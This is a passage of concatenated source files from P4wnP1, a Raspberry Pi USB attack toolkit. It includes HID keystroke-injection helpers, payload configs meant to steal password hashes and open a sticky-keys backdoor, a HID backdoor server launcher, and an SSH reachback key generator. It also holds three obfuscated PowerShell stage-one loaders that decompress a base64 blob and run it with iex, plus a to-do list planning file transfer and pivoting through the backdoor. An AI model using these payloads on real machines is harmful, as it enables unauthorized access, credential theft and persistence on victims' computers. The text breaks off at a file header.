15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | # GNU General Public License for more details.
17 | #
18 | # You should have received a copy of the GNU General Public License
19 | # along with P4wnP1. If not, see .
20 |
21 |
22 | # Transform raw input to match output for the HID report descriptor in use
23 | # Author: MaMe82 aka. Marcus Mengs
24 |
25 | import sys
26 | import time
27 |
28 |
29 | data = sys.stdin.read()
30 | with open("/dev/hidg0","wb") as f:
31 | for i in range(0, len(data), 2):
32 | out = ""
33 | key = ord(data[i:i+1])
34 | if len(data[i+1:i+2]) == 0:
35 | continue
36 | mod = ord(data[i+1:i+2])
37 | if (key == 0):
38 | # delay code
39 | d = float(mod)/1000.0
40 | time.sleep(d)
41 | out = chr(mod) + '\x00' + chr(key) + '\x00\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00'
42 | f.write(out)
43 | f.flush()
44 | # no delay between keypresses (hanfled by HID gadget)
45 | #time.sleep(0.01)
46 |
--------------------------------------------------------------------------------
/hidtools/backdoor/Config.py:
--------------------------------------------------------------------------------
1 |
2 | # This file is part of P4wnP1.
3 | #
4 | # Copyright (c) 2017, Marcus Mengs.
5 | #
6 | # P4wnP1 is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # P4wnP1 is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with P4wnP1. If not, see .
18 |
19 |
20 | class Config:
21 | def __init__(self, configfile):
22 | self.conf = Config.conf_to_dict(configfile)
23 |
24 | @staticmethod
25 | def conf_to_dict(filename):
26 | result_dict={}
27 | lines=[]
28 | with open(filename,"r") as f:
29 | lines= f.readlines()
30 | for l in lines:
31 | # remove comment from line
32 | l=l.split("#")[0]
33 | # remove line breaks
34 | l=l.strip().replace("\r\n","").replace("\n","")
35 |
36 | # skip empty lines
37 | if len(l) == 0:
38 | continue
39 |
40 | splitted = l.split("=", 1)
41 | key = splitted[0].strip()
42 | val = splitted[1].strip()
43 | result_dict[key]=val
44 |
45 | return result_dict
46 |
47 |
48 | #test = Config("config.txt")
49 | #for item in test:
50 | # print item
51 |
--------------------------------------------------------------------------------
/ssh/genkeys.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # This file is part of P4wnP1.
4 | #
5 | # Copyright (c) 2017, Marcus Mengs.
6 | #
7 | # P4wnP1 is free software: you can redistribute it and/or modify
8 | # it under the terms of the GNU General Public License as published by
9 | # the Free Software Foundation, either version 3 of the License, or
10 | # (at your option) any later version.
11 | #
12 | # P4wnP1 is distributed in the hope that it will be useful,
13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | # GNU General Public License for more details.
16 | #
17 | # You should have received a copy of the GNU General Public License
18 | # along with P4wnP1. If not, see .
19 |
20 |
21 | wdir=$( cd $(dirname $BASH_SOURCE[0]) && cd .. && pwd)
22 | source $wdir/setup.cfg
23 |
24 | DEFAULT_COMMENT="AutoSSH reachback"
25 |
26 | read -p "Enter target filename for keypair ($AUTOSSH_PRIVATE_KEY): " PRIVATE_KEY
27 | PRIVATE_KEY=${PRIVATE_KEY:-"$AUTOSSH_PRIVATE_KEY"}
28 |
29 | read -p "Enter comment for public key ($DEFAULT_COMMENT): " COMMENT
30 | COMMENT=${COMMENT:-"$DEFAULT_COMMENT"}
31 |
32 | echo "Generating keys at $AUTOSSH_PRIVATE_KEY ..."
33 | ssh-keygen -q -N "" -C "$COMMENT" -f $AUTOSSH_PRIVATE_KEY && SUCCESS=true
34 | echo "... done"
35 | ls -la $AUTOSSH_PRIVATE_KEY*
36 |
37 | if $SUCCESS; then
38 | echo
39 | echo
40 | echo "Use \"$wdir/ssh/pushkey.sh\""
41 | echo "in order to promote the public key to a remote SSH server"
42 | fi
43 |
--------------------------------------------------------------------------------
/conf/raw_report_desc.txt:
--------------------------------------------------------------------------------
1 |
2 | # This file is part of P4wnP1.
3 | #
4 | # Copyright (c) 2017, Marcus Mengs.
5 | #
6 | # P4wnP1 is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # P4wnP1 is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with P4wnP1. If not, see .
18 |
19 |
20 | 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00)
21 | 0x09, 0x01, // Usage (0x01)
22 | 0xA1, 0x01, // Collection (Application)
23 | 0x09, 0x01, // Usage (0x01)
24 | 0x15, 0x00, // Logical Minimum (0)
25 | 0x26, 0xFF, 0x00, // Logical Maximum (255)
26 | 0x75, 0x08, // Report Size (8)
27 | 0x95, 0x40, // Report Count (64)
28 | 0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position)
29 | 0x09, 0x02, // Usage (0x02)
30 | 0x15, 0x00, // Logical Minimum (0)
31 | 0x26, 0xFF, 0x00, // Logical Maximum (255)
32 | 0x75, 0x08, // Report Size (8)
33 | 0x95, 0x40, // Report Count (64)
34 | 0x91, 0x02, // Output (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position,Non-volatile)
35 | 0xC0, // End Collection
36 |
--------------------------------------------------------------------------------
/payloads/stickykey/payload.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 | # P4wnP1 demo payload by MaMe82
20 | # ==========================
21 | #
22 |
23 | # =============================
24 | # USB setup
25 | # =============================
26 | USB_VID="0x1d6b" # Vendor ID
27 | USB_PID="0x1004" # Product ID
28 | USE_ECM=false # we need no Linux/Mac networking
29 | USE_RNDIS=true # RNDIS network device to enable hash stealing
30 | USE_HID=true # HID keyboard to allow entering cracked password
31 | USE_UMS=false # enable USB Mass Storage
32 |
33 | # Keyboard language for outhid and duckhid commands
34 | # possible languages: "be", "br", "ca", "ch", "de", "dk", "es", "fi",
35 | # "fr", "gb", "hr", "it", "no", "pt", "ru", "si", "sv", "tr", "us"
36 | lang="us" # MAKE THE KEYBOARD LANGUAGE MATCH THE TARGET
37 |
38 | function onKeyboardUp()
39 | {
40 | # execute DuckyScript responsible for bringing up PowerShell
41 | cat $wdir/DuckyScripts/stickykey.duck | duckhid
42 | }
43 |
44 |
45 |
--------------------------------------------------------------------------------
/payloads/stickykey/remove.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 | #
23 |
24 | # =============================
25 | # USB setup
26 | # =============================
27 | USB_VID="0x1d6b" # Vendor ID
28 | USB_PID="0x1004" # Product ID
29 | USE_ECM=false # we need no Linux/Mac networking
30 | USE_RNDIS=true # RNDIS network device to enable hash stealing
31 | USE_HID=true # HID keyboard to allow entering cracked password
32 | USE_UMS=false # enable USB Mass Storage
33 |
34 | # Keyboard language for outhid and duckhid commands
35 | # possible languages: "be", "br", "ca", "ch", "de", "dk", "es", "fi",
36 | # "fr", "gb", "hr", "it", "no", "pt", "ru", "si", "sv", "tr", "us"
37 | lang="us" # MAKE THE KEYBOARD LANGUAGE MATCH THE TARGET
38 |
39 | function onKeyboardUp()
40 | {
41 | # execute DuckyScript responsible for bringing up PowerShell
42 | cat $wdir/DuckyScripts/stickykey_remove.duck | duckhid
43 | }
44 |
45 |
46 |
--------------------------------------------------------------------------------
/payloads/hid_keyboard.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 | #
23 | # Emulates a HID keyboard and prints out "Keyboard is Running"
24 | # Uses NUMLOCK LED test, to check if target is ready to receive keystrokes
25 |
26 |
27 | # =============================
28 | # USB setup
29 | # =============================
30 | # Make sure to change USB_PID if you enable different USB functionality in order
31 | # to force Windows to enumerate the device again
32 | USB_VID="0x1d6b" # Vendor ID
33 | USB_PID="0x110c" # Product ID
34 |
35 | # Overwrite default settings (setup.cfg) for keyboard funtion
36 | USE_RNDIS=true # if true RNDIS will be enabled
37 | USE_HID=true # if true HID (keyboard) will be enabled
38 |
39 | # use LED based HID keyboard test, to fire callback to onKeyboardUp()
40 | HID_KEYBOARD_TEST=true
41 |
42 | # overwrite defaul keyboard language
43 | lang="us"
44 |
45 | function onKeyboardUp()
46 | {
47 | # we need no initial keyboard delay, before starting the DuckyScript
48 | # if this method gets called, we know the HID keyboard stack is usable
49 |
50 | cat <<- EOF | duckhid
51 | GUI r
52 | DELAY 500
53 | STRING notepad.exe
54 | ENTER
55 | DELAY 1000
56 | EOF
57 | echo "Keyboard is running" | outhid
58 | }
59 |
60 |
--------------------------------------------------------------------------------
/hidtools/payload_delivery/stage1_mini.ps1:
--------------------------------------------------------------------------------
1 | $b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
2 |
--------------------------------------------------------------------------------
/hidtools/frontdoor/stage1_mini.ps1:
--------------------------------------------------------------------------------
1 | $b='H4sIAAAAAAAEAKVXbW/bNhD+PqD/QVC9WUZsQU7SLAhgbImdtAGa1qiTdZgjBLR0srlIpEFRbo0u/313JCXbaV2gaILEEnn33HOvpF/80rqbXDz8dT0a+P3RyYX/wi6MaSHqH/2OC1klEs2l8D5AlkOihwqYhiueww3ohUyDzotfvqBeKgtv4E3Pl8uRLBgX8dnZsFIKhLbvJMJQ4h186r2f/YtINSKCh+dlCcUsX79jBQT+DbuB08PRWtTLPhppsRmqk51wBBkXgPus4EktEyB+15tugV4WXDfIFxXPU1DnSQJlieQ+VIJACwPKZruYNzKt8m0idsHveq0rlpdAmtpoFrXm7XrZKKCcP65mOU+63jBnZWn4JxlFCPWchoufv4mov8vfCpxrrfis0lDGG9SJZponJH8t9FirGJ+IwTSOvT+D6QRVxDy220eH9HDXPG007vbveh1DOeWUVIyV5gWEuAdKLiegVhzDGI7y/LpYSqUbjnH4GvRQilKrKtFSBRsyFjBjBnDj5BWHPL0WmXTUf9CWUQ/8S6HVeiy50H6n+8OEHchYQYmSMOHzn0CZgH7LSn2plFQ/ATNkeY5hw1iusIcwUj+DtWAKafkuBdnKJMF2oQ37bhG2blUFzcdeo19RxLb6yAVb8u8pWS4oel5paQkl+weD6eFhVWpZNK65Vg6oPLtE/hGUgPzoMEzznMJEZWb+o6eu80K0+QwmMJZtK4fWf9PEuPK0Nfc2kcFCBlZcKVmMgJwZM70IWkWR5Oivq3KvtcRVNxMXZkLgPs7CBiUwEk1rRn8PI/tDS+9DEtkMKWDpR8U1bBrz7OwfjOdGFicT4OL7JYhNH0efj7dAtxXNICVaxOBCyhyYiCOK0WB6wxMlS5npELOI0ZywDN4wkeaYNnomc/b9eZuXQWcaxbXHCSZ9JR/RUxPdjA32O0Z0BkSmRSlzMTk53iLXt+Qcgs3Bt+z3j5GAAl0p8ZzCdjpLEOlDyjQLWhnioeFSViqhhxRKTR+4iR8KEuArSF0u+YCiNFvjHN4t1gtcmsZecPKqUwtMW/zgIKYeo9fYi/ZtONt7t4nR/k3kGb4FMdeLvTK1E+b0RfGhXK5vZWCl0UlOnFNYUShCk5BmD0vHPjobz+KIadiOo4uS+l5sEmUOcGeNSiBoqW7Utbs2wApoij3wlESV9QeXS5XsLqSlfiYhnqmoZLW7UJTzb7MjXWQwPVeKrenegkEiZhge/EM1GwwrVVcYMqJaMRWDO1QwycqK7wYKK3V7XLgLF0q6m5aL3Jvr0euKpwP/y3Hah1evZoe9rH+S9fr9JOudniazXhT18Yea+ih6opuZxBwkC+T/qeAYVY8Lb46PnuneB4THDtFK5jkoy8D779cvU5SIg9YDXkJwZKQ4uDtPXsdDCjxroEIrfz3yegXTZMOvifvegdf+DXk/tPHJr73wO14PR4O3F6CNDradUE9I3Ui6k8FQoOKg6Yh58u/v/7gnY7Xc+N24BsXaWeYsgaB93+62XyIsMnlphF0YTQqeNoD2hUYxQu+5yaIAiQ52M+bVjjcJ23QMYn3/dLDT354J1AASD0VU6tFMKzWbwyF5StduKJZ6/e3yjLBC8HZjyuTTgswGTRPtjmUMLHgtUeW5Lapm1jVd50X464xFxuHkEYhS086NqCsIK4HT3YBHFjjBwuKiAhPWbbH+frFWpbNTGk238FmHlyKRKR2YZ2d3t1enNM/tCdpAHccdh02KId54lS4/cuwhn9xaAL7PMPh15QUuvL25RvuWwAzdetyQ/ApoBnMutqFcM9aJwhBN6ZjBk4juNjQf3+LNHS95BOLZ6YqkPZtM385IwG8Ixl5NqAlInfQDHExEpjGFC/2vbQV+6CCf9hFxgOin/Z4DKWlw+Ow5W3YY4a0sz9fum5qrnWEuS3PbaVZGvFy6NVT6H8d3IaseDgAA';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
2 |
--------------------------------------------------------------------------------
/hidtools/payload_delivery/stage1_mini.ps1.old:
--------------------------------------------------------------------------------
1 | $b='H4sIAAAAAAAEAKVXbW/bNhD+PqD/QVC9WUZsQU7SLAhgbImdtAGa1qiTdZgjBLR0srlIpEFRbo0u/313JCXbaV2gaILEEnn33HOvpF/80rqbXDz8dT0a+P3RyYX/wi6MaSHqH/2OC1klEs2l8D5AlkOihwqYhiueww3ohUyDzotfvqBeKgtv4E3Pl8uRLBgX8dnZsFIKhLbvJMJQ4h186r2f/YtINSKCh+dlCcUsX79jBQT+DbuB08PRWtTLPhppsRmqk51wBBkXgPus4EktEyB+15tugV4WXDfIFxXPU1DnSQJlieQ+VIJACwPKZruYNzKt8m0idsHveq0rlpdAmtpoFrXm7XrZKKCcP65mOU+63jBnZWn4JxlFCPWchoufv4mov8vfCpxrrfis0lDGG9SJZponJH8t9FirGJ+IwTSOvT+D6QRVxDy220eH9HDXPG007vbveh1DOeWUVIyV5gWEuAdKLiegVhzDGI7y/LpYSqUbjnH4GvRQilKrKtFSBRsyFjBjBnDj5BWHPL0WmXTUf9CWUQ/8S6HVeiy50H6n+8OEHchYQYmSMOHzn0CZgH7LSn2plFQ/ATNkeY5hw1iusIcwUj+DtWAKafkuBdnKJMF2oQ37bhG2blUFzcdeo19RxLb6yAVb8u8pWS4oel5paQkl+weD6eFhVWpZNK65Vg6oPLtE/hGUgPzoMEzznMJEZWb+o6eu80K0+QwmMJZtK4fWf9PEuPK0Nfc2kcFCBlZcKVmMgJwZM70IWkWR5Oivq3KvtcRVNxMXZkLgPs7CBiUwEk1rRn8PI/tDS+9DEtkMKWDpR8U1bBrz7OwfjOdGFicT4OL7JYhNH0efj7dAtxXNICVaxOBCyhyYiCOK0WB6wxMlS5npELOI0ZywDN4wkeaYNnomc/b9eZuXQWcaxbXHCSZ9JR/RUxPdjA32O0Z0BkSmRSlzMTk53iLXt+Qcgs3Bt+z3j5GAAl0p8ZzCdjpLEOlDyjQLWhnioeFSViqhhxRKTR+4iR8KEuArSF0u+YCiNFvjHN4t1gtcmsZecPKqUwtMW/zgIKYeo9fYi/ZtONt7t4nR/k3kGb4FMdeLvTK1E+b0RfGhXK5vZWCl0UlOnFNYUShCk5BmD0vHPjobz+KIadiOo4uS+l5sEmUOcGeNSiBoqW7Utbs2wApoij3wlESV9QeXS5XsLqSlfiYhnqmoZLW7UJTzb7MjXWQwPVeKrenegkEiZhge/EM1GwwrVVcYMqJaMRWDO1QwycqK7wYKK3V7XLgLF0q6m5aL3Jvr0euKpwP/y3Hah1evZoe9rH+S9fr9JOudniazXhT18Yea+ih6opuZxBwkC+T/qeAYVY8Lb46PnuneB4THDtFK5jkoy8D779cvU5SIg9YDXkJwZKQ4uDtPXsdDCjxroEIrfz3yegXTZMOvifvegdf+DXk/tPHJr73wO14PR4O3F6CNDradUE9I3Ui6k8FQoOKg6Yh58u/v/7gnY7Xc+N24BsXaWeYsgaB93+62XyIsMnlphF0YTQqeNoD2hUYxQu+5yaIAiQ52M+bVjjcJ23QMYn3/dLDT354J1AASD0VU6tFMKzWbwyF5StduKJZ6/e3yjLBC8HZjyuTTgswGTRPtjmUMLHgtUeW5Lapm1jVd50X464xFxuHkEYhS086NqCsIK4HT3YBHFjjBwuKiAhPWbbH+frFWpbNTGk238FmHlyKRKR2YZ2d3t1enNM/tCdpAHccdh02KId54lS4/cuwhn9xaAL7PMPh15QUuvL25RvuWwAzdetyQ/ApoBnMutqFcM9aJwhBN6ZjBk4juNjQf3+LNHS95BOLZ6YqkPZtM385IwG8Ixl5NqAlInfQDHExEpjGFC/2vbQV+6CCf9hFxgOin/Z4DKWlw+Ow5W3YY4a0sz9fum5qrnWEuS3PbaVZGvFy6NVT6H8d3IaseDgAA';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
2 |
--------------------------------------------------------------------------------
/boot/init_hid_keyboard.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 |
4 | # This file is part of P4wnP1.
5 | #
6 | # Copyright (c) 2017, Marcus Mengs.
7 | #
8 | # P4wnP1 is free software: you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation, either version 3 of the License, or
11 | # (at your option) any later version.
12 | #
13 | # P4wnP1 is distributed in the hope that it will be useful,
14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | # GNU General Public License for more details.
17 | #
18 | # You should have received a copy of the GNU General Public License
19 | # along with P4wnP1. If not, see .
20 |
21 | #
22 | # Declares function used in conjunction with HID keyboard
23 |
24 | # output raw ASCII to HID keyboard
25 | function outhid()
26 | {
27 | # cat | python $wdir/duckencoder/duckencoder.py -l $lang -r | python $wdir/transhid.py > /dev/hidg0
28 | cat | python $wdir/duckencoder/duckencoder.py -l $lang -r | python $wdir/hidtools/transhid.py
29 | }
30 |
31 | # output DUCKY SCRIPT to HID keyboard
32 | function duckhid()
33 | {
34 | # cat | python $wdir/duckencoder/duckencoder.py -l $lang -p | python $wdir/transhid.py > /dev/hidg0
35 | cat | python $wdir/duckencoder/duckencoder.py -l $lang -p | python $wdir/hidtools/transhid.py
36 | }
37 |
38 | # Blocks till NUMLOCK, CAPSLOCK or SCROLLLOCK has been hit 5 time on targets keyboard
39 | # return value define which key was hit
40 | function key_trigger()
41 | {
42 | sudo python $wdir/hidtools/watchhidled.py trigger
43 | return $?
44 | }
45 |
46 | # reads LEDs from keyboard device till something is sent
47 | # as this is done on driver init, we use it as trigger for HID keyboard beeing ready
48 |
49 | #function detect_HID_keyboard()
50 | #{
51 | # echo "Waiting for HID keyboard to be usable..."
52 | #
53 | # # blocking read of LED status
54 | # python -c "with open('/dev/hidg0','rb') as f: print ord(f.read(1))"
55 | # # fire 'onKeyboardUp' after read has succeeded
56 | # declare -f onKeyboardUp > /dev/null && onKeyboardUp
57 | #
58 | #}
59 |
--------------------------------------------------------------------------------
/payloads/hid_backdoor.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
5 | # P4wnP1 is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # P4wnP1 is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with P4wnP1. If not, see .
17 |
18 |
19 |
20 | # P4wnP1 demo payload by MaMe82
21 | # ==========================
22 |
23 |
24 | # =============================
25 | # USB setup
26 | # =============================
27 | # Make sure to change USB_PID if you enable different USB functionality in order
28 | # to force Windows to enumerate the device again
29 | USB_VID="0x1D6B" # Vendor ID
30 | USB_PID="0x0437" # Product ID
31 |
32 | USE_ECM=false # if true CDC ECM will be enabled
33 | USE_RNDIS=false # if true RNDIS will be enabled
34 | USE_HID=true # if true HID (keyboard) will be enabled
35 | USE_RAWHID=true # if true HID raw device will be enabled
36 | USE_UMS=false # if true USB Mass Storage will be enabled
37 |
38 | # disable setting of static routes for all IPv4 addresses
39 | ROUTE_SPOOF=false
40 |
41 | # use LED based HID keyboard test
42 | USE_HID_TEST=true
43 |
44 | # overwrite keyboard language from setup.cfg
45 | lang="us"
46 |
47 | # blink one time when payload script get's initiated
48 | led_blink 1 # usage at thi point is invalid, as the script gets called again on SSH login
49 |
50 | WIFI_ACCESSPOINT=true # enable WiFi AccessPoint
51 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via IP configured in setup.cfg (BLUETOOTH_NAP_IP)
52 |
53 | function onKeyboardUp()
54 | {
55 |
56 |
57 | # start HID Server
58 | screen -dmS hidsrv bash -c "cd $wdir/hidtools/backdoor; python P4wnP1.py"
59 |
60 | # blink two times when hid keyboard is usable and HID server is started
61 | led_blink 2
62 | }
63 |
64 |
65 | # commands in this function are ran on user login
66 | # the commans are ran by user "pi"
67 | function onLogin()
68 | {
69 | led_blink 3
70 | sudo screen -d -r
71 | return
72 | }
73 |
--------------------------------------------------------------------------------
/ToDo.txt:
--------------------------------------------------------------------------------
1 | 1) [DONE] fix issues in duckencoder.py
2 |
3 | flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
4 |
5 | ./hidtools/backdoor/DuckEncoder.py:190:43: F821 undefined name 'key_entry'
6 | print "Error: No keycode entry for " + key_entry
7 | ^
8 |
9 | ./hidtools/backdoor/DuckEncoder.py:392:17: F821 undefined name 'parseScriptLine'
10 | result += parseScriptLine(lastLine, keyProp, langProp)
11 | ^
12 |
13 | 2) [DONE] get rid of doubled duckencoder (symlink the submodule or add ./duckencoder to pythons module path)
14 |
15 | 3) [DONE] Add option to change AP name
16 |
17 | 4) [DONE] Add menue driven lagunage selection, "SetKeyboardLanguage without parametes gives a menu
18 |
19 | 5) [Open] Add filesystem browsing commands for target (analog to local command lcd, lpwd, lls) --> preparation for file transfer
20 | - [partially] FileSystem class for payload created: https://github.com/mame82/P4wnP1_HID_backdoor_client/blob/master/P4wnP1/FileSystem.cs
21 | - [open] Create payload functions to acces filesystem commands
22 | - [open] create callers and handlers for the remote functions on server
23 |
24 | 6) [open] refine backdoor payload, to alter language setting of the backdoor server based on language setting of payload (usability)
25 |
26 | 7) [open] Rework duckencoder.py: https://github.com/mame82/duckencoder.py/pull/2 (automated testing has to be deployed)
27 |
28 | Future:
29 |
30 | 8) Integrate file transfer
31 | - Write classes for asynchronous, thread based file transfer channels
32 | - Implement protocol methods for control channel
33 | - needed capabilities:
34 | UploadRAM (uupload file to memory only, to be able to run in memory PS scripts for example)
35 | UploadDisc
36 | Download
37 |
38 | 9) Integrate HID tunneled socket communication
39 | - MileStone far, far awy
40 | - Listener sockets + connect sockets
41 |
42 | 10) Socks4a / Socks5
43 | - after basic socket integration to have a multiplexed pivot channel
44 |
45 | 11) Refine USB Mass Storage Support
46 | - make it configurable (allow CD-Rom emulation with mounted iso)
47 | - mount flashdrive image to P4wnP1 local file system, when not used by payload
48 |
49 | 12) Allow changing USB modes, whil payload is running
50 | - needs full rework of the payload mechanism (callbacks would have to be called multiple times, maybe iterative payload design instead)
51 | - example use case: Run network attack, save captured data to internally mounted USB flashdrive image, reinit USB stack to mimic a flashdrive and present the captured data
52 |
--------------------------------------------------------------------------------
/payloads/hakin9_tutorial/payload.txt:
--------------------------------------------------------------------------------
1 | # This file is part of P4wnP1.
2 | #
3 | # Copyright (c) 2017, Marcus Mengs.
4 | #
